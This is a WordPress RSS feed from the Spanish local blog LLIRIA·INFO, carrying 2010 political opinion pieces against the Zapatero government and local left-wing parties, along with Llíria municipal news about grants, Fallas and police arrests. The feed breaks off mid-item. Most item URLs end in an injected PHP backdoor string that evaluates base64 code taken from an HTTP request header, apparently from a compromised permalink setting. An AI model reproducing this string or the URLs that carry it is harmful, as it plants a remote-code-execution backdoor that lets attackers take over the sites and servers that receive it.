<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>LLIRIA·INFO</title>
	<link>http://www.lliria.info</link>
	<description>Perque ens agrada el nostre poble, perque volem la veritat, perque som llirians ·  lliriainfo @ gmail.com</description>
	<pubDate>Sun, 30 May 2010 08:43:42 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2.3</generator>
	<language>en</language>
			<item>
		<title>Cobardón</title>
		<link>http://www.lliria.info/2010/05/30/cobardon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.lliria.info/2010/05/30/cobardon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 30 May 2010 08:40:44 +0000</pubDate>
		<dc:creator>anjel</dc:creator>
		
		<category><![CDATA[Llíria]]></category>

		<guid isPermaLink="false">http://www.lliria.info/2010/05/30/cobardon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[No se atrevió a subir al estrado, y envió a la ministra vestida de riguroso negro para dar la triste noticia de la consumación del tijeretazo.Seis millones de pensionistas, tres millones de funcionarios, miles de madres y dependientes a pagar el despilfarro y la mala gestión de ZP.
El gran estadista que se las daba de [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://zaragozaunica.com/img/2007/10/ZP.jpg" style="border-width: 0px; margin: 5px; width: 240px; height: 280px" align="right" border="0" height="280" hspace="5" vspace="5" width="240" /><strong><span style="font-size: 24pt; font-family: helvetica">N</span></strong>o se atrevió a subir al estrado, y <strong>envió a la ministra vestida de riguroso negro</strong> para dar la triste noticia de la consumación del tijeretazo.<strong>Se</strong><strong>is</strong> millones de pensionistas, <strong>tres</strong> millones de funcionarios, miles de madres y dependientes a pagar el <strong>despilfarro </strong>y la <strong>mala gestión</strong> de ZP.</p>
<p>El gran estadista que se las daba de haber obtenido 20.000 millones de euros de superávit, y de que España iba a superar a Italia y Francia, no quiso dar la cara para hablar de déficit y de recortes sociales. Estamos demasiado cerca de Grecia, ZP lo sabe y se esconde.</p>
<p>A la ministra Salgado le fallaba la voz, y al resto de la bancada azul la camisa no les tocaba el cuerpo, y las caras era toda una antología poética. Sólo pensaban en salir y volver a sus despachos enmoquetados para sentirse ministros, y no corderos que llevan al matadero.</p>
<p>¿ Dónde quedo el talante? ¿ Dónde los discursos sobre el diálogo? ¿Dónde estaba el Presidente? Todo debía estar en el fondo del mar como decía la canción.</p>
<p>A destacar lo que los americanos llamarían &#8220;Also-starring&#8221;, y que en una traducción de andar por casa sería algo así como &#8220;también protagonista&#8221;: Durán i Lleida, el portavoz en el Congreso de CIU . No se entiende que le diga a ZP que esta finiquitado políticamente, y que luego le dé 6 meses más para ser presidente. Oiga Sr. Durán, si ZP es malo de solemnidad lo que hay que hacer es cambiarlo cuanto antes, y no dejar que nos siga haciendo más destrozos, salvo que cuando decía Durán que quería salvar a España lo que realmente quería decir es que a CIU no le viene bien que les coincidan las elecciones generales con las autonómicas, y ya se sabe que &#8220;la pela es la pela&#8221;.</p>
<p>Ya ven los dos protagonistas de ayer, ZP por cobardón, y Duran por interesado. Ah, y el tercero, España. Se me olvidaba a mi, como se les olvidó ayer a los dos protagonistas.</p>
<p align="right"><em>Julio César</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lliria.info/2010/05/30/cobardon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>El Gobierno central tendrá que justificar porqué  denegó las ayudas FEDER al municipio de Llíria</title>
		<link>http://www.lliria.info/2010/05/06/el-gobierno-central-tendra-que-justificar-porque-denego-las-ayudas-feder-al-municipio-de-lliria/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.lliria.info/2010/05/06/el-gobierno-central-tendra-que-justificar-porque-denego-las-ayudas-feder-al-municipio-de-lliria/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 06 May 2010 20:12:31 +0000</pubDate>
		<dc:creator>anjel</dc:creator>
		
		<category><![CDATA[Ayto]]></category>

		<category><![CDATA[Llíria]]></category>

		<guid isPermaLink="false">http://www.lliria.info/2010/05/06/el-gobierno-central-tendra-que-justificar-porque-denego-las-ayudas-feder-al-municipio-de-lliria/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[La Audiencia Nacional ha estimado parcialmente el recurso presentado por el Ayuntamiento de Llíria contra el Ministerio de Administraciones Públicas por no haber justificado la denegación de unas subvenciones del Fondo Europeo de Desarrollo Regional (FEDER) dentro de la convocatoria 2007-2013. &#8220;La Audiencia nos ha dado la razón y ahora obliga al Gobierno central a [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="font-size: 18pt; font-family: arial black,avant garde">L</span></strong>a Audiencia Nacional ha estimado parcialmente el recurso presentado por el Ayuntamiento de Llíria contra el Ministerio de Administraciones Públicas por no haber justificado la denegación de unas subvenciones del Fondo Europeo de Desarrollo Regional (FEDER) dentro de la convocatoria 2007-2013. &#8220;<strong>La Audiencia nos ha dado la razón y ahora obliga al Gobierno central a volver a resolver nuestra petición de ayudas&#8221;</strong>, ha afirmado el portavoz del equipo de Gobierno, Ángel Civera.                  El Consistorio edetano presentó en 2008 al Ministerio una solicitud para la cofinanciación de un proyecto de regeneración urbana del barrio del Pla de l&#8217;Arc, que supondría una inversión para el municipio de más de 11 millones de euros. Este plan contemplaba, entre otras actuaciones, la construcción de un centro multiusos y un parking público en la zona.</p>
<p>El <strong>Ministerio denegó la petición sin dar una justificación </strong>y el Ayuntamiento le remitió un escrito para que explicara los motivos, pero no obtuvo respuesta, por lo que tuvo que recurrir a la vía judicial.</p>
<p> <a href="http://www.lliria.info/2010/05/06/el-gobierno-central-tendra-que-justificar-porque-denego-las-ayudas-feder-al-municipio-de-lliria/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#more-248" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lliria.info/2010/05/06/el-gobierno-central-tendra-que-justificar-porque-denego-las-ayudas-feder-al-municipio-de-lliria/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>COMPRO-MIS</title>
		<link>http://www.lliria.info/2010/05/04/compro-mis/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.lliria.info/2010/05/04/compro-mis/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 04 May 2010 16:06:41 +0000</pubDate>
		<dc:creator>anjel</dc:creator>
		
		<category><![CDATA[Llíria]]></category>

		<category><![CDATA[Otros]]></category>

		<guid isPermaLink="false">http://www.lliria.info/2010/05/04/compro-mis/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[A falta de un año para las próximas elecciones municipales ha aparecido un nuevo partido o coalición política bajo la denominación de COMPROMIS.Detrás de este nuevo colectivo, no hay más que otro matrimonio de conveniencia de parte de los grupos políticos de la izquierda de Llíria, más en concreto se convenían Iniciativa y Bloc, y [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="font-size: 18pt; font-family: arial black,avant garde">A</span></strong> falta de un año para las próximas elecciones municipales ha aparecido un nuevo partido o coalición política bajo la denominación de <strong><em>COMPROMIS.</em></strong>Detrás de este nuevo colectivo, no hay más que otro matrimonio de conveniencia de parte de los grupos políticos de la izquierda de Llíria, más en concreto se convenían Iniciativa y Bloc, y se mantienes fuera PSOE y EU (la sección auténtica).</p>
<p><strong>Si se me permite mirar hacía atrás:  </strong></p>
<p><strong>Primero,</strong> en la legislatura 1999-2003, gobernó en Llíria un tripartito (PSOE, BLOC y EU) que terminó como el rosario de la aurora, y en derrota electoral.</p>
<p><strong>Segundo,</strong> en la legislatura 2003-2007, PSOE, BLOC y EU estuvieron en la soledad de la oposición, e iniciaron una tímida reforma interior sobre todo en la cabeza de cartel del BLOC y PSOE, mientras que EU optaba por el de siempre.</p>
<p><strong>Tercero,</strong> ante las elecciones de 2007, la izquierda intentó presentarse en una candidatura única, pero fracasaron por aquellas &#8220;pequeñas cosas&#8221; del orden en la lista electoral. Tras el fracaso de la negociación pre-electoral, el PSOE y el BLOC unieron sus fuerzas buscando los socialistas los votos que le proporcionaran una posición de fuerza para, en caso de victoria, asegurar la alcaldía, y los nacionalistas los votos para no desaparecer de la política local. Una nueva derrota electoral, esta vez más dura y humillante que la anterior, hizo que la izquierda de Llíria se tambaleara, y sus consecuencias no tardaron en producirse:</p>
<p><strong>1º.- la dimisión del portavoz socialista,</strong> Vicent Escrig, al que sus compañeros ninguneaban constantemente.</p>
<p><strong>2º.-</strong> <strong>el divorcio expréss entre el Bloc y el PSOE</strong>. Los del Bloc son así. Ya tenían lo que querían, y soltaron amarras con los socialistas, conscientes de que éstos están en caída libre en España, la Comunitat Valenciana y Llíria, y que ellos necesitan de alguien que les dé los votos que no tienen.</p>
<p><strong>3º.- la salida de los concejales de EU del partido</strong> o coalición, pero, en una muestra de brutal desfachatez, falta de principios y tremendo cinismo, se pasan a Iniciativa pero se mantienen en el Ayuntamiento como concejales de EU, a pesar de que los legítimos representantes de EU no los quieren ver ni en pintura, ( pero la pela es la pela, y si hubieran pasado a los no adscritor hubieran perdido parte de subvención. Así de rastreros son estos ilustres de Iniciativa).</p>
<p>Ahora, estamos ante el último episodio, por ahora, de matrimonio de conveniencia ( mejor de cominencia ), entre dos partidos de la izquierda de Llíria. En el futuro dos objetivos: sacar los suficientes votos para en un futuro poder pactar algo con quien sea, y salvar la carrera política personal de algún concejal edetano ( al menos dos, uno, por Iniciativa, y otro, por el Bloc) al que se le acaba el tiempo.</p>
<p>En fin, aunque el nombre buscado de la nueva coalición es el que es, a mi humilde entender y atendiendo los antecedentes de las partes coaligadas, yo creo que falta un guión. Yo propongo: <strong>COMPRO-MIS.</strong> Más claro, ¿ no?</p>
<p align="right"><em>Julio César</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lliria.info/2010/05/04/compro-mis/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>! SE ACABÓ ¡</title>
		<link>http://www.lliria.info/2010/04/30/se-acabo-%c2%a1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.lliria.info/2010/04/30/se-acabo-%c2%a1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 30 Apr 2010 20:47:21 +0000</pubDate>
		<dc:creator>anjel</dc:creator>
		
		<category><![CDATA[Llíria]]></category>

		<guid isPermaLink="false">http://www.lliria.info/2010/04/30/se-acabo-%c2%a1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Tal vez el título parezca demasiado rotundo por lo que luego se pueda leer, pero en una semana en la que ZP dice haber tenido la &#8220;sensación&#8221; de cierto conflicto institucional, a pesar de la batalla campal entre el Gobierno, los Sindicatos, partidos catalanistas (incluido PSC), medios de comunicación ( los más progres y afines [...]]]></description>
			<content:encoded><![CDATA[<p align="justify"><span style="font-size: 18pt; font-family: arial,helvetica,sans-serif"><strong>T</strong></span>al vez el título parezca demasiado rotundo por lo que luego se pueda leer, pero en una semana en la que ZP dice haber tenido la &#8220;sensación&#8221; de cierto conflicto institucional, a pesar de la batalla campal entre el Gobierno, los Sindicatos, partidos catalanistas (incluido PSC), medios de comunicación ( los más progres y afines al sindicato de la ceja) contra el Tribunal Supremo y el Tribunal Constitucional, no podemos más que tener cierta &#8220;sensación&#8221; de a<strong>bsoluta incapacidad política manifiesta de ZP para sacar a España de la crisis.</strong></p>
<p align="justify">Tras haber negado la crisis hasta el ridículo, haber anunciado que hasta nos venía bien como país, el gobierno de ZP ha terminado enviando un documento a Europa, cuya primera línea dice: &#8220;<strong>durante el año 2009 la economía española experimentó la recesión más profunda de la historia&#8221;.</strong></p>
<p><img src="http://entradaalempleo.files.wordpress.com/2010/01/paro5.jpg" style="border-width: 0px; margin: 10px; width: 400px; height: 153px" align="left" border="0" height="153" hspace="10" vspace="10" width="400" /> Ante tamaña afirmación, ZP debería haber dimitido sin más, o <strong>por mentiroso, o por inepto.</strong></p>
<p>Pero no lo ha hecho, ni lo hará &#8230; mientras pueda. Y buena muestra es lo ocurrido esta semana, y que podemos resumir así: el déficit público supera el 15%, la <strong>tasa de paro supera el 20</strong>%, y las compañías como S&amp;P reducen el rating de España, y ya hay 1,3 millones de hogares en España sin ningún miembro trabajando, y mientras tanto ZP afirma que la economía española y el paro están saliendo ya del túnel ??????????</p>
<p>Ya ven, la sensación es que &#8230; <strong>SE ACABÓ</strong></p>
<p align="right"><em>Julio César</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lliria.info/2010/04/30/se-acabo-%c2%a1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Llíria celebra la Semana Cultural de las personas mayores.</title>
		<link>http://www.lliria.info/2010/04/29/lliria-celebra-la-semana-cultural-de-las-personas-mayores/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.lliria.info/2010/04/29/lliria-celebra-la-semana-cultural-de-las-personas-mayores/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 29 Apr 2010 19:14:10 +0000</pubDate>
		<dc:creator>anjel</dc:creator>
		
		<category><![CDATA[Ayto]]></category>

		<guid isPermaLink="false">http://www.lliria.info/2010/04/29/lliria-celebra-la-semana-cultural-de-las-personas-mayores/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Llíria iniciará el próximo lunes, 3 de mayo, la Semana dedicada a las personas mayores. La inauguración de las exposiciones y un encuentro narrativo en el Hogar del Jubilado serán los primeros actos de estas jornadas organizadas por la concejalía de Bienestar Social. Este colectivo podrá disfrutar de un amplio programa de actividades socioculturales que [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="font-size: 14pt; font-family: tahoma,arial,helvetica,sans-serif">L</span></strong>líria iniciará el próximo lunes, 3 de mayo, la Semana dedicada a las personas mayores. La inauguración de las exposiciones y un encuentro narrativo en el Hogar del Jubilado serán los primeros actos de estas jornadas organizadas por la concejalía de Bienestar Social. Este colectivo podrá disfrutar de un amplio programa de actividades socioculturales que se celebrarán hasta el día 9.             Dentro de los actos previstos, el viernes 7 de mayo se realizará un homenaje a las parejas de Llíria que celebren a lo largo de este año sus bodas de oro. Además, durante todos los días las personas mayores del municipio podrán asistir a talleres, excursiones, actividades deportivas y actuaciones artísticas. La Semana Cultural se cerrará con el tradicional concierto que ofrecerá la Banda de Jubilados de la UDP Llíria-Camp de Túria-Serranos.<br />
<strong>PROGRAMA D&#8217;ACTES </strong></p>
<p> <a href="http://www.lliria.info/2010/04/29/lliria-celebra-la-semana-cultural-de-las-personas-mayores/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#more-245" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lliria.info/2010/04/29/lliria-celebra-la-semana-cultural-de-las-personas-mayores/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Siempre que aparece San Vicente&#8230; nos llueve.</title>
		<link>http://www.lliria.info/2010/04/27/siempre-que-aparece-san-vicente-nos-llueve/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.lliria.info/2010/04/27/siempre-que-aparece-san-vicente-nos-llueve/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 27 Apr 2010 17:37:02 +0000</pubDate>
		<dc:creator>anjel</dc:creator>
		
		<category><![CDATA[Otros]]></category>

		<guid isPermaLink="false">http://www.lliria.info/2010/04/27/siempre-que-aparece-san-vicente-nos-llueve/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Vaya, parece ser que se sigue cumpliendo la tradición , por el momento  no falla ninguna vez , al día siguiente de representar el &#8220;miracle de la  font de Lliria&#8221; nos llueve , resulta que todas las veces que representamos  este &#8220;miracle &#8221; llueve , ¿casualidad ? en esta ocasión no espero al [...]]]></description>
			<content:encoded><![CDATA[<p align="justify"><span style="font-size: 14pt; font-family: arial,helvetica,sans-serif"><strong>V</strong></span>aya, parece ser que se sigue cumpliendo la tradición , por el momento  no falla ninguna vez , al día siguiente de representar el &#8220;miracle de la  font de Lliria&#8221; nos llueve , resulta que todas las veces que representamos  este &#8220;miracle &#8221; llueve , ¿casualidad ? en esta ocasión no espero al  día siguiente ,la misma noche al ter minar la representación ya comenzó a llover y así estuvo todo el día 22 de abril ,y es normal tanto pedir agua ,con la              carita que pone el San Vicente del Teatret de Sant Francesc ¿quien se la niega?</p>
<p align="center"><a href="http://www.lliria.info/wp-content/uploads/2010/04/20100430_21042010181_small.jpg" title="20100430_21042010181_small.jpg"><img src="http://www.lliria.info/wp-content/uploads/2010/04/20100430_21042010181_small.jpg" style="border-width: 0px; width: 250px; height: 188px" alt="20100430_21042010181_small.jpg" border="0" height="188" width="250" /></a> <a href="http://www.lliria.info/wp-content/uploads/2010/04/20100430_21042010189_small.jpg" title="20100430_21042010189_small.jpg"><img src="http://www.lliria.info/wp-content/uploads/2010/04/20100430_21042010189_small.jpg" style="border-width: 0px; width: 250px; height: 188px" alt="20100430_21042010189_small.jpg" border="0" height="188" width="250" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lliria.info/2010/04/27/siempre-que-aparece-san-vicente-nos-llueve/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Llíria celebra la I Muestra de Monólogos juveniles</title>
		<link>http://www.lliria.info/2010/03/25/lliria-celebra-la-i-muestra-de-monologos-juveniles/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.lliria.info/2010/03/25/lliria-celebra-la-i-muestra-de-monologos-juveniles/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 25 Mar 2010 11:59:23 +0000</pubDate>
		<dc:creator>anjel</dc:creator>
		
		<category><![CDATA[Ayto]]></category>

		<category><![CDATA[Llíria]]></category>

		<guid isPermaLink="false">http://www.lliria.info/?p=241</guid>
		<description><![CDATA[Siete jóvenes del municipio protagonizaron, en la tarde de ayer, la I Muestra de Monólogos juveniles que organiza la concejalía de Juventud del Ayuntamiento de Llíria. Estos artistas ofrecieron este espectáculo de humor, que tuvo como escenario el auditorio del Conservatorio de Música, ante más de un centenar de personas que asistieron a este acto [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="font-size: 36pt; font-family: tahoma,arial,helvetica,sans-serif">S</span></strong>iete jóvenes del municipio protagonizaron, en la tarde de ayer, la I Muestra de Monólogos juveniles que organiza la concejalía de Juventud del Ayuntamiento de Llíria. Estos artistas ofrecieron este espectáculo de humor, que tuvo como escenario el auditorio del Conservatorio de Música, ante más de un centenar de personas que asistieron a este acto que contó también con la actuación del grupo de hip hop Team Dance.                  Los jóvenes que actuaron son los alumnos de taller de monólogos organizado por la concejalía y que ha impartido el actor Rafa Miragall. Josevi Ortiz, Daniel García, Héctor González, Gabriel Gómez, Lucas Peris, Pau Navarro y José Cerezo son los siete artistas que ayer dieron el salto al escenario con la ayuda y asesoramiento del profesor del taller.</p>
<p><a href="http://www.lliria.info/wp-content/uploads/2010/03/20100327_monologos.jpg" title="Monologuistas"></p>
<p style="text-align: center"><img src="http://www.lliria.info/wp-content/uploads/2010/03/20100327_monologos.jpg" style="border-width: 0px; margin: 10px; width: 400px; height: 301px" alt="Monologuistas" border="0" height="301" hspace="10" vspace="10" width="400" /></p>
<p></a> <a href="http://www.lliria.info/2010/03/25/lliria-celebra-la-i-muestra-de-monologos-juveniles/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#more-241" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lliria.info/2010/03/25/lliria-celebra-la-i-muestra-de-monologos-juveniles/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>An the winner is&#8230; FALLA PLAÇA DE PEDRALBA</title>
		<link>http://www.lliria.info/2010/03/16/an-the-winner-is-falla-placa-de-pedralba/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.lliria.info/2010/03/16/an-the-winner-is-falla-placa-de-pedralba/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 19:09:58 +0000</pubDate>
		<dc:creator>anjel</dc:creator>
		
		<category><![CDATA[Llíria]]></category>

		<guid isPermaLink="false">http://www.lliria.info/?p=237</guid>
		<description><![CDATA[            La falla Plaça Pedralba ha conseguido alzarse con el primer premio en las dos categorías del concurso de monumentos falleros de Llíria. Los integrantes de la comisión han recogido esta tarde los estandartes acreditativos de estos galardones en un acto que ha contado [...]]]></description>
			<content:encoded><![CDATA[<p>            <a href="http://www.lliria.info/wp-content/uploads/2010/03/20100317_17032010127.jpg" title="Falla Plaça Pedralba"><img src="http://www.lliria.info/wp-content/uploads/2010/03/20100317_17032010127.jpg" style="border-width: 0px; margin: 5px 10px; width: 200px; height: 267px" alt="Falla Plaça Pedralba" align="right" border="0" height="267" hspace="10" width="200" /></a><span style="font-size: 24pt"><strong><span style="font-size: 14pt">L</span></strong></span>a falla Plaça Pedralba ha conseguido alzarse con el primer premio en las<strong> dos categorías</strong> del concurso de monumentos falleros de Llíria. Los integrantes de la comisión han recogido esta tarde los estandartes acreditativos de estos galardones en un acto que ha contado con la presencia de las falleras mayores del municipio, Conchín Máñez y Sara Domingo, el concejal de Cultura, Salvador Oliver, y el presidente de la Junta Local Fallera, Jesús Muela.</p>
<p>Tras la máxima distinción obtenida por la Plaça Pedralba con el monumento <strong>&#8220;La recesión del 2009&#8243;</strong>, el segundo premio de las fallas grandes de Llíria ha sido para la comisión Plaça Major i voltants, el tercero para Alpelic i adjacents, y el cuarto para Avinguda dels Furs i voltants.</p>
<p> <a href="http://www.lliria.info/2010/03/16/an-the-winner-is-falla-placa-de-pedralba/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#more-237" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lliria.info/2010/03/16/an-the-winner-is-falla-placa-de-pedralba/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>La Policía Local de Llíria practica cuatro detenciones en menos de 8 horas</title>
		<link>http://www.lliria.info/2010/03/13/la-policia-local-de-lliria-practica-cuatro-detenciones-en-menos-de-8-horas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.lliria.info/2010/03/13/la-policia-local-de-lliria-practica-cuatro-detenciones-en-menos-de-8-horas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 19:09:43 +0000</pubDate>
		<dc:creator>anjel</dc:creator>
		
		<category><![CDATA[Ayto]]></category>

		<category><![CDATA[Llíria]]></category>

		<guid isPermaLink="false">http://www.lliria.info/?p=236</guid>
		<description><![CDATA[            La Policía Local de Llíria detuvo el pasado día 12, en menos de 8 horas, a cuatro personas por diversos delitos. La primera actuación se realizó la madrugada del jueves cuando una patrulla arrestó a un hombre de 26 años y a una [...]]]></description>
			<content:encoded><![CDATA[<p>            <span style="font-size: 14pt"><strong>L</strong></span>a Policía Local de Llíria detuvo el pasado día 12, en menos de 8 horas, a cuatro personas por diversos delitos. La primera actuación se realizó la madrugada del jueves cuando una patrulla arrestó a un hombre de 26 años y a una mujer de 31 por el robo dos vitrocerámicas de un edificio de nueva construcción que aún no había sido recepcionado por sus propietarios.</p>
<p> <a href="http://www.lliria.info/2010/03/13/la-policia-local-de-lliria-practica-cuatro-detenciones-en-menos-de-8-horas/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#more-236" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lliria.info/2010/03/13/la-policia-local-de-lliria-practica-cuatro-detenciones-en-menos-de-8-horas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Llíria en Fallas 2010 - La Crida</title>
		<link>http://www.lliria.info/2010/03/07/lliria-en-fallas-2010-la-crida/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.lliria.info/2010/03/07/lliria-en-fallas-2010-la-crida/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 15:21:39 +0000</pubDate>
		<dc:creator>anjel</dc:creator>
		
		<category><![CDATA[Ayto]]></category>

		<category><![CDATA[Llíria]]></category>

		<category><![CDATA[Otros]]></category>

		<guid isPermaLink="false">http://www.lliria.info/?p=234</guid>
		<description><![CDATA[            Centenares de falleros de las cuatro comisiones de Llíria se reunieron ayer frente a las puertas de Ca la Vila para participar en la Crida de las Fallas 2010. Es la primera vez que se celebra en la localidad edetana este acto que [...]]]></description>
			<content:encoded><![CDATA[<p>            <span style="font-size: 24pt"><strong>C</strong></span>entenares de falleros de las cuatro comisiones de Llíria se reunieron ayer frente a las puertas de Ca la Vila para participar en la Crida de las Fallas 2010. Es la primera vez que se celebra en la localidad edetana este acto que anuncia el inicio de la fiesta fallera.</p>
<p><a href="http://www.lliria.info/wp-content/uploads/2010/03/20100307_foto_crida_fallas_lliria.jpg" title="Crida 2010"></p>
<p style="text-align: center"><img src="http://www.lliria.info/wp-content/uploads/2010/03/20100307_foto_crida_fallas_lliria.jpg" style="border-width: 0px; margin: 5px; width: 400px; height: 300px" alt="Crida 2010" border="0" height="300" hspace="5" vspace="5" width="400" /></p>
<p></a></p>
